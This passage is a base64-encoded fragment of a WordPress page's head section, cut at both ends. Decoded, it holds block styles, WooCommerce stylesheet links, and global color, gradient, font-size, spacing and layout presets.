0bw0KICAgICAgICB9DQoNCiAgICAgICAgLndwLWJsb2NrLXNlcGFyYXRvci5oYXMtYWxwaGEtY2hhbm5lbC1vcGFjaXR5IHsNCiAgICAgICAgICAgIG9wYWNpdHk6IDENCiAgICAgICAgfQ0KDQogICAgICAgIC53cC1ibG9jay1zZXBhcmF0b3I6bm90KC5pcy1zdHlsZS13aWRlKTpub3QoLmlzLXN0eWxlLWRvdHMpIHsNCiAgICAgICAgICAgIHdpZHRoOiAxMDBweA0KICAgICAgICB9DQoNCiAgICAgICAgLndwLWJsb2NrLXNlcGFyYXRvci5oYXMtYmFja2dyb3VuZDpub3QoLmlzLXN0eWxlLWRvdHMpIHsNCiAgICAgICAgICAgIGJvcmRlci1ib3R0b206IG5vbmU7DQogICAgICAgICAgICBoZWlnaHQ6IDFweA0KICAgICAgICB9DQoNCiAgICAgICAgLndwLWJsb2NrLXNlcGFyYXRvci5oYXMtYmFja2dyb3VuZDpub3QoLmlzLXN0eWxlLXdpZGUpOm5vdCguaXMtc3R5bGUtZG90cykgew0KICAgICAgICAgICAgaGVpZ2h0OiAycHgNCiAgICAgICAgfQ0KDQogICAgICAgIC53cC1ibG9jay10YWJsZSB7DQogICAgICAgICAgICBtYXJnaW46ICIwIDAgMWVtIDAiDQogICAgICAgIH0NCg0KICAgICAgICAud3AtYmxvY2stdGFibGUgdGhlYWQgew0KICAgICAgICAgICAgYm9yZGVyLWJvdHRvbTogM3B4IHNvbGlkDQogICAgICAgIH0NCg0KICAgICAgICAud3AtYmxvY2stdGFibGUgdGZvb3Qgew0KICAgICAgICAgICAgYm9yZGVyLXRvcDogM3B4IHNvbGlkDQogICAgICAgIH0NCg0KICAgICAgICAud3AtYmxvY2stdGFibGUgdGQsIC53cC1ibG9jay10YWJsZSB0aCB7DQogICAgICAgICAgICB3b3JkLWJyZWFrOiBub3JtYWwNCiAgICAgICAgfQ0KDQogICAgICAgIC53cC1ibG9jay10YWJsZSBmaWdjYXB0aW9uIHsNCiAgICAgICAgICAgIGNvbG9yOiAjNTU1Ow0KICAgICAgICAgICAgZm9udC1zaXplOiAxM3B4Ow0KICAgICAgICAgICAgdGV4dC1hbGlnbjogY2VudGVyDQogICAgICAgIH0NCg0KICAgICAgICAuaXMtZGFyay10aGVtZSAud3AtYmxvY2stdGFibGUgZmlnY2FwdGlvbiB7DQogICAgICAgICAgICBjb2xvcjogaHNsYSgwLCAwJSwgMTAwJSwgLjY1KQ0KICAgICAgICB9DQoNCiAgICAgICAgLndwLWJsb2NrLXZpZGVvIGZpZ2NhcHRpb24gew0KICAgICAgICAgICAgY29sb3I6ICM1NTU7DQogICAgICAgICAgICBmb250LXNpemU6IDEzcHg7DQogICAgICAgICAgICB0ZXh0LWFsaWduOiBjZW50ZXINCiAgICAgICAgfQ0KDQogICAgICAgIC5pcy1kYXJrLXRoZW1lIC53cC1ibG9jay12aWRlbyBmaWdjYXB0aW9uIHsNCiAgICAgICAgICAgIGNvbG9yOiBoc2xhKDAsIDAlLCAxMDAlLCAuNjUpDQogICAgICAgIH0NCg0KICAgICAgICAud3AtYmxvY2stdmlkZW8gew0KICAgICAgICAgICAgbWFyZ2luOiAwIDAgMWVtDQogICAgICAgIH0NCg0KICAgICAgICAud3AtYmxvY2stdGVtcGxhdGUtcGFydC5oYXMtYmFja2dyb3VuZCB7DQogICAgICAgICAgICBwYWRkaW5nOiAxLjI1ZW0gMi4zNzVlbTsNCiAgICAgICAgICAgIG1hcmdpbi10b3A6IDA7DQogICAgICAgICAgICBtYXJnaW4tYm90dG9tOiAwDQogICAgICAgIH0NCiAgICA8L3N0eWxlPg0KICAgIDxsaW5rIHJlbD0nc3R5bGVzaGVldCcgaWQ9J3djLWJsb2Nrcy12ZW5kb3JzLXN0eWxlLWNzcycNCiAgICAgICAgICBocmVmPScvd3AtY29udGVudC9wbHVnaW5zL3dvb2NvbW1lcmNlL3BhY2thZ2VzL3dvb2NvbW1lcmNlLWJsb2Nrcy9idWlsZC93Yy1ibG9ja3MtdmVuZG9ycy1zdHlsZS5jc3M/dmVyPTcuOC4zJw0KICAgICAgICAgIG1lZGlhPSdhbGwnLz4NCiAgICA8bGluayByZWw9J3N0eWxlc2hlZXQnIGlkPSd3Yy1ibG9ja3Mtc3R5bGUtY3NzJw0KICAgICAgICAgIGhyZWY9Jy93cC1jb250ZW50L3BsdWdpbnMvd29vY29tbWVyY2UvcGFja2FnZXMvd29vY29tbWVyY2UtYmxvY2tzL2J1aWxkL3djLWJsb2Nrcy1zdHlsZS5jc3M/dmVyPTcuOC4zJw0KICAgICAgICAgIG1lZGlhPSdhbGwnLz4NCiAgICA8bGluayByZWw9J3N0eWxlc2hlZXQnIGlkPSdjbGFzc2ljLXRoZW1lLXN0eWxlcy1jc3MnIGhyZWY9Jy93cC1pbmNsdWRlcy9jc3MvY2xhc3NpYy10aGVtZXMubWluLmNzcz92ZXI9MScNCiAgICAgICAgICBtZWRpYT0nYWxsJy8+DQogICAgPHN0eWxlIGlkPSdnbG9iYWwtc3R5bGVzLWlubGluZS1jc3MnPg0KICAgICAgICBib2R5IHsNCiAgICAgICAgICAgIC0td3AtLXByZXNldC0tY29sb3ItLWJsYWNrOiAjMDAwMDAwOw0KICAgICAgICAgICAgLS13cC0tcHJlc2V0LS1jb2xvci0tY3lhbi1ibHVpc2gtZ3JheTogI2FiYjhjMzsNCiAgICAgICAgICAgIC0td3AtLXByZXNldC0tY29sb3ItLXdoaXRlOiAjZmZmZmZmOw0KICAgICAgICAgICAgLS13cC0tcHJlc2V0LS1jb2xvci0tcGFsZS1waW5rOiAjZjc4ZGE3Ow0KICAgICAgICAgICAgLS13cC0tcHJlc2V0LS1jb2xvci0tdml2aWQtcmVkOiAjY2YyZTJlOw0KICAgICAgICAgICAgLS13cC0tcHJlc2V0LS1jb2xvci0tbHVtaW5vdXMtdml2aWQtb3JhbmdlOiAjZmY2OTAwOw0KICAgICAgICAgICAgLS13cC0tcHJlc2V0LS1jb2xvci0tbHVtaW5vdXMtdml2aWQtYW1iZXI6ICNmY2I5MDA7DQogICAgICAgICAgICAtLXdwLS1wcmVzZXQtLWNvbG9yLS1saWdodC1ncmVlbi1jeWFuOiAjN2JkY2I1Ow0KICAgICAgICAgICAgLS13cC0tcHJlc2V0LS1jb2xvci0tdml2aWQtZ3JlZW4tY3lhbjogIzAwZDA4NDsNCiAgICAgICAgICAgIC0td3AtLXByZXNldC0tY29sb3ItLXBhbGUtY3lhbi1ibHVlOiAjOGVkMWZjOw0KICAgICAgICAgICAgLS13cC0tcHJlc2V0LS1jb2xvci0tdml2aWQtY3lhbi1ibHVlOiAjMDY5M2UzOw0KICAgICAgICAgICAgLS13cC0tcHJlc2V0LS1jb2xvci0tdml2aWQtcHVycGxlOiAjOWI1MWUwOw0KICAgICAgICAgICAgLS13cC0tcHJlc2V0LS1jb2xvci0tcHJpbWFyeTogIzIyMjUyOTsNCiAgICAgICAgICAgIC0td3AtLXByZXNldC0tY29sb3ItLXNlY29uZGFyeTogI2VlODM3OTsNCiAgICAgICAgICAgIC0td3AtLXByZXNldC0tY29sb3ItLXRlcnRpYXJ5OiAjMmJhYWIxOw0KICAgICAgICAgICAgLS13cC0tcHJlc2V0LS1jb2xvci0tcXVhdGVybmFyeTogIzM4M2Y0ODsNCiAgICAgICAgICAgIC0td3AtLXByZXNldC0tY29sb3ItLWRhcms6ICMyMjI1Mjk7DQogICAgICAgICAgICAtLXdwLS1wcmVzZXQtLWNvbG9yLS1saWdodDogI2ZmZmZmZjsNCiAgICAgICAgICAgIC0td3AtLXByZXNldC0tZ3JhZGllbnQtLXZpdmlkLWN5YW4tYmx1ZS10by12aXZpZC1wdXJwbGU6IGxpbmVhci1ncmFkaWVudCgxMzVkZWcsIHJnYmEoNiwgMTQ3LCAyMjcsIDEpIDAlLCByZ2IoMTU1LCA4MSwgMjI0KSAxMDAlKTsNCiAgICAgICAgICAgIC0td3AtLXByZXNldC0tZ3JhZGllbnQtLWxpZ2h0LWdyZWVuLWN5YW4tdG8tdml2aWQtZ3JlZW4tY3lhbjogbGluZWFyLWdyYWRpZW50KDEzNWRlZywgcmdiKDEyMiwgMjIwLCAxODApIDAlLCByZ2IoMCwgMjA4LCAxMzApIDEwMCUpOw0KICAgICAgICAgICAgLS13cC0tcHJlc2V0LS1ncmFkaWVudC0tbHVtaW5vdXMtdml2aWQtYW1iZXItdG8tbHVtaW5vdXMtdml2aWQtb3JhbmdlOiBsaW5lYXItZ3JhZGllbnQoMTM1ZGVnLCByZ2JhKDI1MiwgMTg1LCAwLCAxKSAwJSwgcmdiYSgyNTUsIDEwNSwgMCwgMSkgMTAwJSk7DQogICAgICAgICAgICAtLXdwLS1wcmVzZXQtLWdyYWRpZW50LS1sdW1pbm91cy12aXZpZC1vcmFuZ2UtdG8tdml2aWQtcmVkOiBsaW5lYXItZ3JhZGllbnQoMTM1ZGVnLCByZ2JhKDI1NSwgMTA1LCAwLCAxKSAwJSwgcmdiKDIwNywgNDYsIDQ2KSAxMDAlKTsNCiAgICAgICAgICAgIC0td3AtLXByZXNldC0tZ3JhZGllbnQtLXZlcnktbGlnaHQtZ3JheS10by1jeWFuLWJsdWlzaC1ncmF5OiBsaW5lYXItZ3JhZGllbnQoMTM1ZGVnLCByZ2IoMjM4LCAyMzgsIDIzOCkgMCUsIHJnYigxNjksIDE4NCwgMTk1KSAxMDAlKTsNCiAgICAgICAgICAgIC0td3AtLXByZXNldC0tZ3JhZGllbnQtLWNvb2wtdG8td2FybS1zcGVjdHJ1bTogbGluZWFyLWdyYWRpZW50KDEzNWRlZywgcmdiKDc0LCAyMzQsIDIyMCkgMCUsIHJnYigxNTEsIDEyMCwgMjA5KSAyMCUsIHJnYigyMDcsIDQyLCAxODYpIDQwJSwgcmdiKDIzOCwgNDQsIDEzMCkgNjAlLCByZ2IoMjUxLCAxMDUsIDk4KSA4MCUsIHJnYigyNTQsIDI0OCwgNzYpIDEwMCUpOw0KICAgICAgICAgICAgLS13cC0tcHJlc2V0LS1ncmFkaWVudC0tYmx1c2gtbGlnaHQtcHVycGxlOiBsaW5lYXItZ3JhZGllbnQoMTM1ZGVnLCByZ2IoMjU1LCAyMDYsIDIzNikgMCUsIHJnYigxNTIsIDE1MCwgMjQwKSAxMDAlKTsNCiAgICAgICAgICAgIC0td3AtLXByZXNldC0tZ3JhZGllbnQtLWJsdXNoLWJvcmRlYXV4OiBsaW5lYXItZ3JhZGllbnQoMTM1ZGVnLCByZ2IoMjU0LCAyMDUsIDE2NSkgMCUsIHJnYigyNTQsIDQ1LCA0NSkgNTAlLCByZ2IoMTA3LCAwLCA2MikgMTAwJSk7DQogICAgICAgICAgICAtLXdwLS1wcmVzZXQtLWdyYWRpZW50LS1sdW1pbm91cy1kdXNrOiBsaW5lYXItZ3JhZGllbnQoMTM1ZGVnLCByZ2IoMjU1LCAyMDMsIDExMikgMCUsIHJnYigxOTksIDgxLCAxOTIpIDUwJSwgcmdiKDY1LCA4OCwgMjA4KSAxMDAlKTsNCiAgICAgICAgICAgIC0td3AtLXByZXNldC0tZ3JhZGllbnQtLXBhbGUtb2NlYW46IGxpbmVhci1ncmFkaWVudCgxMzVkZWcsIHJnYigyNTUsIDI0NSwgMjAzKSAwJSwgcmdiKDE4MiwgMjI3LCAyMTIpIDUwJSwgcmdiKDUxLCAxNjcsIDE4MSkgMTAwJSk7DQogICAgICAgICAgICAtLXdwLS1wcmVzZXQtLWdyYWRpZW50LS1lbGVjdHJpYy1ncmFzczogbGluZWFyLWdyYWRpZW50KDEzNWRlZywgcmdiKDIwMiwgMjQ4LCAxMjgpIDAlLCByZ2IoMTEzLCAyMDYsIDEyNikgMTAwJSk7DQogICAgICAgICAgICAtLXdwLS1wcmVzZXQtLWdyYWRpZW50LS1taWRuaWdodDogbGluZWFyLWdyYWRpZW50KDEzNWRlZywgcmdiKDIsIDMsIDEyOSkgMCUsIHJnYig0MCwgMTE2LCAyNTIpIDEwMCUpOw0KICAgICAgICAgICAgLS13cC0tcHJlc2V0LS1kdW90b25lLS1kYXJrLWdyYXlzY2FsZTogdXJsKCcjd3AtZHVvdG9uZS1kYXJrLWdyYXlzY2FsZScpOw0KICAgICAgICAgICAgLS13cC0tcHJlc2V0LS1kdW90b25lLS1ncmF5c2NhbGU6IHVybCgnI3dwLWR1b3RvbmUtZ3JheXNjYWxlJyk7DQogICAgICAgICAgICAtLXdwLS1wcmVzZXQtLWR1b3RvbmUtLXB1cnBsZS15ZWxsb3c6IHVybCgnI3dwLWR1b3RvbmUtcHVycGxlLXllbGxvdycpOw0KICAgICAgICAgICAgLS13cC0tcHJlc2V0LS1kdW90b25lLS1ibHVlLXJlZDogdXJsKCcjd3AtZHVvdG9uZS1ibHVlLXJlZCcpOw0KICAgICAgICAgICAgLS13cC0tcHJlc2V0LS1kdW90b25lLS1taWRuaWdodDogdXJsKCcjd3AtZHVvdG9uZS1taWRuaWdodCcpOw0KICAgICAgICAgICAgLS13cC0tcHJlc2V0LS1kdW90b25lLS1tYWdlbnRhLXllbGxvdzogdXJsKCcjd3AtZHVvdG9uZS1tYWdlbnRhLXllbGxvdycpOw0KICAgICAgICAgICAgLS13cC0tcHJlc2V0LS1kdW90b25lLS1wdXJwbGUtZ3JlZW46IHVybCgnI3dwLWR1b3RvbmUtcHVycGxlLWdyZWVuJyk7DQogICAgICAgICAgICAtLXdwLS1wcmVzZXQtLWR1b3RvbmUtLWJsdWUtb3JhbmdlOiB1cmwoJyN3cC1kdW90b25lLWJsdWUtb3JhbmdlJyk7DQogICAgICAgICAgICAtLXdwLS1wcmVzZXQtLWZvbnQtc2l6ZS0tc21hbGw6IDEzcHg7DQogICAgICAgICAgICAtLXdwLS1wcmVzZXQtLWZvbnQtc2l6ZS0tbWVkaXVtOiAyMHB4Ow0KICAgICAgICAgICAgLS13cC0tcHJlc2V0LS1mb250LXNpemUtLWxhcmdlOiAzNnB4Ow0KICAgICAgICAgICAgLS13cC0tcHJlc2V0LS1mb250LXNpemUtLXgtbGFyZ2U6IDQycHg7DQogICAgICAgICAgICAtLXdwLS1wcmVzZXQtLXNwYWNpbmctLTIwOiAwLjQ0cmVtOw0KICAgICAgICAgICAgLS13cC0tcHJlc2V0LS1zcGFjaW5nLS0zMDogMC42N3JlbTsNCiAgICAgICAgICAgIC0td3AtLXByZXNldC0tc3BhY2luZy0tNDA6IDFyZW07DQogICAgICAgICAgICAtLXdwLS1wcmVzZXQtLXNwYWNpbmctLTUwOiAxLjVyZW07DQogICAgICAgICAgICAtLXdwLS1wcmVzZXQtLXNwYWNpbmctLTYwOiAyLjI1cmVtOw0KICAgICAgICAgICAgLS13cC0tcHJlc2V0LS1zcGFjaW5nLS03MDogMy4zOHJlbTsNCiAgICAgICAgICAgIC0td3AtLXByZXNldC0tc3BhY2luZy0tODA6IDUuMDZyZW07DQogICAgICAgIH0NCg0KICAgICAgICA6d2hlcmUoLmlzLWxheW91dC1mbGV4KSB7DQogICAgICAgICAgICBnYXA6IDAuNWVtOw0KICAgICAgICB9DQoNCiAgICAgICAgYm9keSAuaXMtbGF5b3V0LWZsb3cgPiAuYWxpZ25sZWZ0IHsNCiAgICAgICAgICAgIGZsb2F0OiBsZWZ0Ow0KICAgICAgICAgICAgbWFyZ2luLWlubGluZS1zdGFydDogMDsNCiAgICAgICAgICAgIG1hcmdpbi1pbmxpbmUtZW5kOiAyZW07DQogICAgICAgIH0NCg0KICAgICAgICBib2R5IC5pcy1sYXlvdXQtZmxvdyA+IC5hbGlnbnJpZ2h0IHsNCiAgICAgICAgICAgIGZsb2F0OiByaWdodDsNCiAgICAgICAgICAgIG1hcmdpbi1pbmxpbmUtc3RhcnQ6IDJlbTsNCiAgICAgICAgICAgIG1hcmdpbi1pbmxpbmUtZW5kOiAwOw0KICAgICAgICB9DQoNCiAgICAgICAgYm9keSAuaXMtbGF5b3V0LWZsb3cgPiAuYWxpZ25jZW50ZXIgew0KICAgICAgICAgICAgbWFyZ2luLWxlZnQ6IGF1dG8gIWltcG9ydGFudDsNCiAgICAgICAgICAgIG1hcmdpbi1yaWdodDogYXV0byAhaW1wb3J0YW50Ow0KICAgICAgICB9DQoNCiAgICAgICAgYm9keSAuaXMtbGF5b3V0LWNvbnN0cmFpbmVkID4gLmFsaWdubGVmdCB7DQogICAgICAgICAgICBmbG9hdDogbGVmdDsNCiAgICAgICAgICAgIG1hcmdpbi1pbmxpbmUtc3RhcnQ6IDA7DQogICAgICAgICAgICBtYXJnaW4taW5saW5lLWVuZDogMmVtOw0KICAgICAgICB9DQoNCiAgICAgICAgYm9keSAuaXMtbGF5b3V0LWNvbnN0cmFpbmVkID4gLmFsaWducmlnaHQgew0KICAgICAgICAgICAgZmxvYXQ6IHJpZ2h0Ow0KICAgICAgICAgICAgbWFyZ2luLWlubGluZS1zdGFydDogMmVtOw0KICAgICAgICAgICAgbWFyZ2luLWlubGluZS1lbmQ6IDA7DQogICAgICAgIH0NCg0KICAgICAgICBib2R5IC5pcy1sYXlvdXQtY29uc3RyYWluZWQgPiAuYWxpZ25jZW50ZXIgew0KICAgICAgICAgICAgbWFyZ2luLWxlZnQ6IGF1dG8gIWltcG9ydGFudDsNCiAgICAgICAgICAgIG1hcmdpbi1yaWdodDogYXV0byAhaW1wb3J0YW50Ow0KICAgICAgICB9DQoNCiAgICAgICAgYm9keSAuaXMtbGF5b3V0LWNvbnN0cmFpbmVkID4gOndoZXJlKDpub3QoLmFsaWdubGVmdCk6bm90KC5hbGlnbnJpZ2h0KTpub3QoLmFsaWduZnVsbCkpIHsNCiAgICAgICAgICAgIG1heC13aWR0aDogdmFyKC0td3AtLXN0eWxlLS1nbG9iYWwtLWNvbnRlbnQtc2l6ZSk7DQogICAgICAgICAgICBtYXJnaW4tbGVmdDogYXV0byAhaW1wb3J0YW50Ow0KICAgICAgICAgICAgbWFyZ2luLXJpZ2h0OiBhdXRvICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICBib2R5IC5pcy1sYXlvdXQtY29uc3RyYWluZWQgPiAuYWxpZ253aWRlIHsNCiAgICAgICAgICAgIG1heC13aWR0aDogdmFyKC0td3AtLXN0eWxlLS1nbG9iYWwtLXdpZGUtc2l6ZSk7DQogICAgICAgIH0NCg0KICAgICAgICBib2R5IC5pcy1sYXlvdXQtZmxleCB7DQogICAgICAgICAgICBkaXNwbGF5OiBmbGV4Ow0KICAgICAgICB9DQoNCiAgICAgICAgYm9keSAuaXMtbGF5b3V0LWZsZXggew0KICAgICAgICAgICAgZmxleC13cmFwOiB3cmFwOw0KICAgICAgICAgICAgYWxpZ24taXRlbXM6IGNlbnRlcjsNCiAgICAgICAgfQ0KDQogICAgICAgIGJvZHkgLmlzLWxheW91dC1mbGV4ID4gKiB7DQogICAgICAgICAgICBtYXJnaW46IDA7DQogICAgICAgIH0NCg0KICAgICAgICA6d2hlcmUoLndwLWJsb2NrLWNvbHVtbnMuaXMtbGF5b3V0LWZsZXgpIHsNCiAgICAgICAgICAgIGdhcDogMmVtOw0KICAgICAgICB9DQoNCiAgICAgICAgLmhhcy1ibGFjay1jb2xvciB7DQogICAgICAgICAgICBjb2xvcjogdmFyKC0td3AtLXByZXNldC0tY29sb3ItLWJsYWNrKSAhaW1wb3J0YW50Ow0KICAgICAgICB9DQoNCiAgICAgICAgLmhhcy1jeWFuLWJsdWlzaC1ncmF5LWNvbG9yIHsNCiAgICAgICAgICAgIGNvbG9yOiB2YXIoLS13cC0tcHJlc2V0LS1jb2xvci0tY3lhbi1ibHVpc2gtZ3JheSkgIWltcG9ydGFudDsNCiAgICAgICAgfQ0KDQogICAgICAgIC5oYXMtd2hpdGUtY29sb3Igew0KICAgICAgICAgICAgY29sb3I6IHZhcigtLXdwLS1wcmVzZXQtLWNvbG9yLS13aGl0ZSkgIWltcG9ydGFudDsNCiAgICAgICAgfQ0KDQogICAgICAgIC5oYXMtcGFsZS1waW5rLWNvbG9yIHsNCiAgICAgICAgICAgIGNvbG9yOiB2YXIoLS13cC0tcHJlc2V0LS1jb2xvci0tcGFsZS1waW5rKSAhaW1wb3J0YW50Ow0KICAgICAgICB9DQoNCiAgICAgICAgLmhhcy12aXZpZC1yZWQtY29sb3Igew0KICAgICAgICAgICAgY29sb3I6IHZhcigtLXdwLS1wcmVzZXQtLWNvbG9yLS12aXZpZC1yZWQpICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLWx1bWlub3VzLXZpdmlkLW9yYW5nZS1jb2xvciB7DQogICAgICAgICAgICBjb2xvcjogdmFyKC0td3AtLXByZXNldC0tY29sb3ItLWx1bWlub3VzLXZpdmlkLW9yYW5nZSkgIWltcG9ydGFudDsNCiAgICAgICAgfQ0KDQogICAgICAgIC5oYXMtbHVtaW5vdXMtdml2aWQtYW1iZXItY29sb3Igew0KICAgICAgICAgICAgY29sb3I6IHZhcigtLXdwLS1wcmVzZXQtLWNvbG9yLS1sdW1pbm91cy12aXZpZC1hbWJlcikgIWltcG9ydGFudDsNCiAgICAgICAgfQ0KDQogICAgICAgIC5oYXMtbGlnaHQtZ3JlZW4tY3lhbi1jb2xvciB7DQogICAgICAgICAgICBjb2xvcjogdmFyKC0td3AtLXByZXNldC0tY29sb3ItLWxpZ2h0LWdyZWVuLWN5YW4pICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLXZpdmlkLWdyZWVuLWN5YW4tY29sb3Igew0KICAgICAgICAgICAgY29sb3I6IHZhcigtLXdwLS1wcmVzZXQtLWNvbG9yLS12aXZpZC1ncmVlbi1jeWFuKSAhaW1wb3J0YW50Ow0KICAgICAgICB9DQoNCiAgICAgICAgLmhhcy1wYWxlLWN5YW4tYmx1ZS1jb2xvciB7DQogICAgICAgICAgICBjb2xvcjogdmFyKC0td3AtLXByZXNldC0tY29sb3ItLXBhbGUtY3lhbi1ibHVlKSAhaW1wb3J0YW50Ow0KICAgICAgICB9DQoNCiAgICAgICAgLmhhcy12aXZpZC1jeWFuLWJsdWUtY29sb3Igew0KICAgICAgICAgICAgY29sb3I6IHZhcigtLXdwLS1wcmVzZXQtLWNvbG9yLS12aXZpZC1jeWFuLWJsdWUpICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLXZpdmlkLXB1cnBsZS1jb2xvciB7DQogICAgICAgICAgICBjb2xvcjogdmFyKC0td3AtLXByZXNldC0tY29sb3ItLXZpdmlkLXB1cnBsZSkgIWltcG9ydGFudDsNCiAgICAgICAgfQ0KDQogICAgICAgIC5oYXMtYmxhY2stYmFja2dyb3VuZC1jb2xvciB7DQogICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiB2YXIoLS13cC0tcHJlc2V0LS1jb2xvci0tYmxhY2spICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLWN5YW4tYmx1aXNoLWdyYXktYmFja2dyb3VuZC1jb2xvciB7DQogICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiB2YXIoLS13cC0tcHJlc2V0LS1jb2xvci0tY3lhbi1ibHVpc2gtZ3JheSkgIWltcG9ydGFudDsNCiAgICAgICAgfQ0KDQogICAgICAgIC5oYXMtd2hpdGUtYmFja2dyb3VuZC1jb2xvciB7DQogICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiB2YXIoLS13cC0tcHJlc2V0LS1jb2xvci0td2hpdGUpICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLXBhbGUtcGluay1iYWNrZ3JvdW5kLWNvbG9yIHsNCiAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6IHZhcigtLXdwLS1wcmVzZXQtLWNvbG9yLS1wYWxlLXBpbmspICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLXZpdmlkLXJlZC1iYWNrZ3JvdW5kLWNvbG9yIHsNCiAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6IHZhcigtLXdwLS1wcmVzZXQtLWNvbG9yLS12aXZpZC1yZWQpICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLWx1bWlub3VzLXZpdmlkLW9yYW5nZS1iYWNrZ3JvdW5kLWNvbG9yIHsNCiAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6IHZhcigtLXdwLS1wcmVzZXQtLWNvbG9yLS1sdW1pbm91cy12aXZpZC1vcmFuZ2UpICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLWx1bWlub3VzLXZpdmlkLWFtYmVyLWJhY2tncm91bmQtY29sb3Igew0KICAgICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogdmFyKC0td3AtLXByZXNldC0tY29sb3ItLWx1bWlub3VzLXZpdmlkLWFtYmVyKSAhaW1wb3J0YW50Ow0KICAgICAgICB9DQoNCiAgICAgICAgLmhhcy1saWdodC1ncmVlbi1jeWFuLWJhY2tncm91bmQtY29sb3Igew0KICAgICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogdmFyKC0td3AtLXByZXNldC0tY29sb3ItLWxpZ2h0LWdyZWVuLWN5YW4pICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLXZpdmlkLWdyZWVuLWN5YW4tYmFja2dyb3VuZC1jb2xvciB7DQogICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiB2YXIoLS13cC0tcHJlc2V0LS1jb2xvci0tdml2aWQtZ3JlZW4tY3lhbikgIWltcG9ydGFudDsNCiAgICAgICAgfQ0KDQogICAgICAgIC5oYXMtcGFsZS1jeWFuLWJsdWUtYmFja2dyb3VuZC1jb2xvciB7DQogICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiB2YXIoLS13cC0tcHJlc2V0LS1jb2xvci0tcGFsZS1jeWFuLWJsdWUpICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLXZpdmlkLWN5YW4tYmx1ZS1iYWNrZ3JvdW5kLWNvbG9yIHsNCiAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6IHZhcigtLXdwLS1wcmVzZXQtLWNvbG9yLS12aXZpZC1jeWFuLWJsdWUpICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLXZpdmlkLXB1cnBsZS1iYWNrZ3JvdW5kLWNvbG9yIHsNCiAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6IHZhcigtLXdwLS1wcmVzZXQtLWNvbG9yLS12aXZpZC1wdXJwbGUpICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLWJsYWNrLWJvcmRlci1jb2xvciB7DQogICAgICAgICAgICBib3JkZXItY29sb3I6IHZhcigtLXdwLS1wcmVzZXQtLWNvbG9yLS1ibGFjaykgIWltcG9ydGFudDsNCiAgICAgICAgfQ0KDQogICAgICAgIC5oYXMtY3lhbi1ibHVpc2gtZ3JheS1ib3JkZXItY29sb3Igew0KICAgICAgICAgICAgYm9yZGVyLWNvbG9yOiB2YXIoLS13cC0tcHJlc2V0LS1jb2xvci0tY3lhbi1ibHVpc2gtZ3JheSkgIWltcG9ydGFudDsNCiAgICAgICAgfQ0KDQogICAgICAgIC5oYXMtd2hpdGUtYm9yZGVyLWNvbG9yIHsNCiAgICAgICAgICAgIGJvcmRlci1jb2xvcjogdmFyKC0td3AtLXByZXNldC0tY29sb3ItLXdoaXRlKSAhaW1wb3J0YW50Ow0KICAgICAgICB9DQoNCiAgICAgICAgLmhhcy1wYWxlLXBpbmstYm9yZGVyLWNvbG9yIHsNCiAgICAgICAgICAgIGJvcmRlci1jb2xvcjogdmFyKC0td3AtLXByZXNldC0tY29sb3ItLXBhbGUtcGluaykgIWltcG9ydGFudDsNCiAgICAgICAgfQ0KDQogICAgICAgIC5oYXMtdml2aWQtcmVkLWJvcmRlci1jb2xvciB7DQogICAgICAgICAgICBib3JkZXItY29sb3I6IHZhcigtLXdwLS1wcmVzZXQtLWNvbG9yLS12aXZpZC1yZWQpICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLWx1bWlub3VzLXZpdmlkLW9yYW5nZS1ib3JkZXItY29sb3Igew0KICAgICAgICAgICAgYm9yZGVyLWNvbG9yOiB2YXIoLS13cC0tcHJlc2V0LS1jb2xvci0tbHVtaW5vdXMtdml2aWQtb3JhbmdlKSAhaW1wb3J0YW50Ow0KICAgICAgICB9DQoNCiAgICAgICAgLmhhcy1sdW1pbm91cy12aXZpZC1hbWJlci1ib3JkZXItY29sb3Igew0KICAgICAgICAgICAgYm9yZGVyLWNvbG9yOiB2YXIoLS13cC0tcHJlc2V0LS1jb2xvci0tbHVtaW5vdXMtdml2aWQtYW1iZXIpICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLWxpZ2h0LWdyZWVuLWN5YW4tYm9yZGVyLWNvbG9yIHsNCiAgICAgICAgICAgIGJvcmRlci1jb2xvcjogdmFyKC0td3AtLXByZXNldC0tY29sb3ItLWxpZ2h0LWdyZWVuLWN5YW4pICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLXZpdmlkLWdyZWVuLWN5YW4tYm9yZGVyLWNvbG9yIHsNCiAgICAgICAgICAgIGJvcmRlci1jb2xvcjogdmFyKC0td3AtLXByZXNldC0tY29sb3ItLXZpdmlkLWdyZWVuLWN5YW4pICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLXBhbGUtY3lhbi1ibHVlLWJvcmRlc